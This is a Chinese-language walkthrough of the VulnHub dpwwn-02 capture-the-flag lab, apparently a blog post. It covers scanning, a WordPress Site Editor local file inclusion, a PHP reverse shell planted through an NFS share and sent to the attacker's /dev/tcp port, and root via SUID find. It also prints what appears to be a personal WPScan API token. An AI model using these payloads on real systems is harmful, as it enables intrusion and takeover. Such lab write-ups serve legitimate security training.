当前位置: 首页 > news >正文

dpwwn02靶场

靶机下载地址:https://download.vulnhub.com/dpwwn/dpwwn-02.zip

信息收集

ip add 查看kali Linux虚拟机的IP为:10.10.10.128

https://vulnhub.com/entry/dpwwn-2,343/中查看靶机的信息,IP固定为10.10.10.10

所以kali Linux添加仅主机网卡设置网段为10.10.10.0/24,靶机也设置网卡为仅主机,同样的网段

虽然已知了靶机的IP为10.10.10.10,但是可以使用命令进行扫描:

netdiscover -i eth1 -r 10.10.10.0/24

netdiscover -i eth1 -r 10.10.10.0/24 是一条用来扫描局域网内活动设备的命令,具体解释如下:netdiscover:这是一个网络发现工具,用于扫描本地网络中的活跃设备,显示其 IP 地址和 MAC 地址。它是通过 ARP 请求来发现设备的。-i eth1:指定要使用的网络接口,这里是 eth1,通常指的是系统中的第二个以太网接口。如果你要在其他接口上扫描网络,应该相应地替换为正确的接口名(例如 eth0 或 wlan0)。-r 10.10.10.0/24:指定扫描的 IP 地址范围。10.10.10.0/24 表示扫描 10.10.10.0 到 10.10.10.255 这个网段内的所有 IP 地址,即该子网内的所有设备。

扫描其开放的端口和服务

nmap -sS -sV -A -T4 -p- 10.10.10.10

nmap -sS -sV -A -T4 -p- 10.10.10.10 是一条复杂的 nmap 扫描命令,包含多个选项,用于对目标 IP 地址 10.10.10.10 进行详细的扫描。下面是每个选项的解释:1. -sS(TCP SYN Scan)
这是一个 SYN 扫描,也叫 半开放扫描。nmap 会发送一个 SYN 包来初始化 TCP 连接,然后根据目标主机的响应来判断端口的开放状态。
如果目标返回 SYN-ACK,端口开放;如果返回 RST,端口关闭。
这种扫描方式不会完全建立连接,因此较难被检测到。
2. -sV(Service Version Detection)
启用 服务版本检测,即除了扫描开放端口外,nmap 还会尝试检测这些端口上运行的服务和软件的版本信息。这可以帮助你了解目标主机上运行的具体服务类型(例如:HTTP 服务器、FTP 服务器等)及其版本。
3. -A(Aggressive Scan)
这是一个 激进扫描,它会启用多个高级功能,包括:
操作系统检测:检测目标主机运行的操作系统。
版本检测:类似于 -sV,进一步检查服务的版本。
脚本扫描:执行一些 NSE(Nmap Scripting Engine)脚本,用于发现常见的漏洞或提供额外的信息。
Traceroute:追踪到目标主机的网络路径。
总体上,-A 提供了一个详细且全面的扫描,但也会更加容易被目标检测到。
4. -T4(Timing Template)
设置 扫描的速度和精确度。-T4 表示使用一个相对较快的扫描速度,但不至于太快以至于丢失大量数据。它通常用于在较短时间内完成扫描,但会增加目标检测到扫描的概率。
-T0:最慢、最隐蔽
-T5:最快、最可能被检测到
5. -p-(Scan All Ports)
该选项让 nmap 扫描目标主机的 所有 65535 个端口(从 1 到 65535)。如果没有使用 -p 指定端口,nmap 默认只扫描 1-1024 端口。
6. 10.10.10.10(目标 IP)
目标主机的 IP 地址。此命令会扫描 10.10.10.10 这个 IP 地址上的所有端口,并进行详细分析。
总结:
这条命令将对目标 IP 地址 10.10.10.10 执行以下操作:执行 TCP SYN 扫描(-sS)来检查开放的端口。
检测目标主机上运行的 服务版本(-sV)。
进行 操作系统检测、脚本扫描、版本扫描 等高级操作(-A)。
设置较高的扫描速度(-T4),使得扫描更快速但仍然保持一定的隐蔽性。
扫描 所有 65535 个端口(-p-)。

得到主要信息:

PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.38 ((Ubuntu))
|_http-title: dpwwn-02
|_http-server-header: Apache/2.4.38 (Ubuntu)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      45541/tcp   mountd
|   100005  1,2,3      46796/udp   mountd
|   100005  1,2,3      51765/tcp6  mountd
|   100005  1,2,3      58738/udp6  mountd
|   100021  1,3,4      34787/tcp   nlockmgr
|   100021  1,3,4      38633/tcp6  nlockmgr
|   100021  1,3,4      46788/udp   nlockmgr
|   100021  1,3,4      53610/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
443/tcp   open  http     Apache httpd 2.4.38 ((Ubuntu))
|_http-server-header: Apache/2.4.38 (Ubuntu)
|_http-title: dpwwn-02
2049/tcp  open  nfs      3-4 (RPC #100003)
34787/tcp open  nlockmgr 1-4 (RPC #100021)
44135/tcp open  mountd   1-3 (RPC #100005)
45541/tcp open  mountd   1-3 (RPC #100005)
50517/tcp open  mountd   1-3 (RPC #100005)

服务:

rpcbind,也叫 **portmap**,它是一个用于 **远程过程调用(RPC)** 服务的绑定工具NFS(Network File System)是一种常见的网络文件共享协议,允许在网络上的计算机之间共享文件夹和目录mountd(`44135/tcp`, `45541/tcp`, `50517/tcp`)**:目标主机运行了多个 `mountd` 服务实例,用于处理客户端的挂载请求。每个 `mountd` 服务都监听不同的端口。

遍历子目录

dirb http://10.10.10.10

得到主要访问的URL:http://10.10.10.10/wordpress/

没错得到了wordpress

使用wpscan扫描器进行扫描漏洞

wpscan -url http://10.10.10.10/wordpress

1. wpscan:
wpscan 是一个专门用于扫描和审计 WordPress 网站的工具,常用于渗透测试和安全评估。
它可以帮助检测 WordPress 网站的漏洞、已安装的插件、主题、用户信息等安全相关信息。
2. -url:
-url 参数后面跟随的是要扫描的 WordPress 网站的 URL。你提供的 URL 是 http://10.10.10.10/wordpress,这表示你要扫描的目标网站地址是 http://10.10.10.10/wordpress。
注意,如果该 URL 是一个子目录,wpscan 会从这个路径开始扫描。
3. http://10.10.10.10/wordpress:
这是目标 WordPress 网站的 URL,10.10.10.10 是目标服务器的 IP 地址,/wordpress 是 WordPress 安装所在的子目录。

出现了错误: Scan Aborted: Unable to get https://data.wpscan.org/metadata.json.sha512 (Couldn’t resolve host name)

No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

需要api-token

这里直接上https://wpscan.com/register进行注册
我这里直接提供api-token:nLhs3sSQHXVFWSVykLmtKR5wLM3dqHKUysVtwQmX2t0

执行命令:

wpscan --url http://10.10.10.10/wordpress/ --api-token nLhs3sSQHXVFWSVykLmtKR5wLM3dqHKUysVtwQmX2t0

得到漏洞:本地文件包含

 [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)

本地文件包含:

"本地文件包含"(Local File Inclusion, LFI)漏洞是常见的Web安全问题,通过它,攻击者可以利用受漏洞影响的应用程序访问服务器上的文件。这里可以直接通过发送http请求获取文件

漏洞利用

检索漏洞

根据得到的 [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)信息得到:

Site Editor应该是一个插件或是软件,1.1.1是他的版本号

直接使用命令进行检索:

searchsploit Site Editor 1.1.1

得到:

\------------------------------------------------------------------ ---------------------------------Exploit Title                                                    |  Path
------------------------------------------------------------------ ---------------------------------
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent | php/webapps/25493.txt
WordPress Plugin Site Editor 1.1.1 - Local File Inclusion         | php/webapps/44340.txt

继续检索:

**searchsploit -m php/webapps/44340.txt **

cat 44340.txt

发现Poc

查看文本文件得到:

** Proof of Concept **
http:///wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?
ajax_path=/etc/passwd
PoC(Proof of Concept)是漏洞利用的“概念验证”,用于展示漏洞是否存在以及如何利用它。它通常是一个简化的例子,表明漏洞的有效性

这里的漏洞是 本地文件包含漏洞,我们可以根据得到的Poc进行发送http请求,得到我们想要的信息

利用Poc

curl http://10.10.10.10/wordpress/wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

这样就可以成功访问到/etc/passwd文件!由于之前我们看到了NFS服务,我们可以在dpwwn的家目录下面写文件,然后进行包含

查看靶机共享文件夹的路径

showmount --exports 10.10.10.10

挂载共享文件夹到kali

mkdir dpwwn02

mount -t nfs 10.10.10.10:/home/dpwwn02 --target dpwwn02

mount:这是挂载命令,用于将文件系统连接到本地的挂载点。-t nfs:指定文件系统的类型为 NFS(网络文件系统)。NFS允许通过网络访问远程文件系统。10.10.10.10:/home/dpwwn02:10.10.10.10 是远程服务器的IP地址。
/home/dpwwn02 是在该远程服务器上导出的NFS共享目录。
--target dpwwn02:--target 参数(等效于旧的 -o 或直接写挂载点)指定本地系统上的挂载点。
dpwwn02 是本地路径,表示将远程目录挂载到本地目录名为 dpwwn02 的地方(例如 /mnt/dpwwn02 或当前工作目录中的 dpwwn02)。

df

显示文件系统的磁盘使用情况

挂载点dpwwn02上创建shell.php文件

<?php exec('/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"');?>

获得shell

开启监听

nc -lvp 4444

使用curl发送http请求,获取响应,反弹shell

curl http:/10.10.10.10/wordpress/wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?
ajax_path=/home/dpwwn02/shell.php

成功收到shell~ 权限是www-data权限

id

whoami

pwd

权限提升

检查特殊权限

find / -perm -u=s -type f 2>/dev/null

find /:
find 命令从指定目录开始查找,这里是根目录 /,表示从整个文件系统中查找文件。-perm -u=s:
查找设置了 SUID 位的文件。SUID(Set User ID) 是一种特殊权限,允许普通用户以文件所有者的权限运行该程序。例如,passwd 命令就需要以超级用户权限修改系统的 /etc/shadow 文件。
-type f:
仅查找文件类型为普通文件(f 表示 file)。2>/dev/null:
将错误输出(如权限不足导致的错误)重定向到 /dev/null,即忽略错误消息,避免在查找过程中打印大量不必要的权限错误信息。

发现了重要信息:

find设置了suid

shell升级

find . -exec /bin/sh -p ; -quit

find .:表示从当前目录 . 开始搜索文件或目录。
实际上,这里并不需要找到具体的文件,因为目标是利用 find 的执行功能。
-exec /bin/sh -p \;:-exec:find 的参数,用于执行指定命令。
/bin/sh:启动一个 shell,这里选择了 sh。
-p:这个参数让 sh 保留调用者的 SUID 权限。如果 find 被设置了 SUID 且以 root 所有者身份运行,则这个 shell 将以 root 权限启动。
\;:是 find 的语法,用于标记 -exec 命令的结束。
-quit:一旦找到一个结果,find 将立即退出。
在这种情况下,-quit 提高了效率,因为目标是直接启动特权 shell,而不是遍历所有文件。

拿到root权限了

id

whoami

pwd

确认是root权限了

获得flag

cd /root

cat dpwwn-02-FLAG.txt

Congratulation! You PWN this dpwwn-02. Hope you enjoy this boot to root CTF.
Thank you. 46617323 
24337873 
4b4d6f6f 
72643234 
40323564 
4e443462 
36312a23 
26724a6d 

http://www.mrgr.cn/news/78823.html

相关文章:

  • Ubuntu20.04离线安装全教程(包括DellR940重置Raid 5、安装Ubuntu、设置root、安装nvidia英伟达显卡驱动及设置防火墙白名单)
  • 计算机网络八股整理(二)
  • 深度学习基础02_损失函数BP算法(上)
  • 算法训练-模拟
  • 位运算在嵌入式系统开发中的应用
  • UCOS-II 自学笔记
  • uniapp手机端一些坑记录
  • 基于go语言探讨 Kubernetes 中 Rollout History 的实现与优化
  • Java启动通用参数,自动记录GC等信息到专门日志文件中
  • python学习笔记9-零散知识点
  • 微服务即时通讯系统的实现(服务端)----(2)
  • 工具:Zotero Better BibTex插件和Latex基础知识
  • 【动手学电机驱动】STM32-FOC(9)无感 FOC 电机转速调节
  • openjdk17 jvm堆空间分配
  • Qt 面试题学习11_2024-11-29
  • leetcode 之二分查找(Java实现)(1)
  • redis.conf
  • MySQL主从复制
  • ELK Fleet JAVA LOG收集与展示教程
  • Python学习笔记
  • 鸿蒙Next星河版基础用例
  • 英语写作中以rationale 替代reason(理由)
  • 探索未来:深入人工智能学习框架的奥秘与实践
  • C与指针。
  • 使用Python OpenCV实现图像形状检测
  • Docker命令总结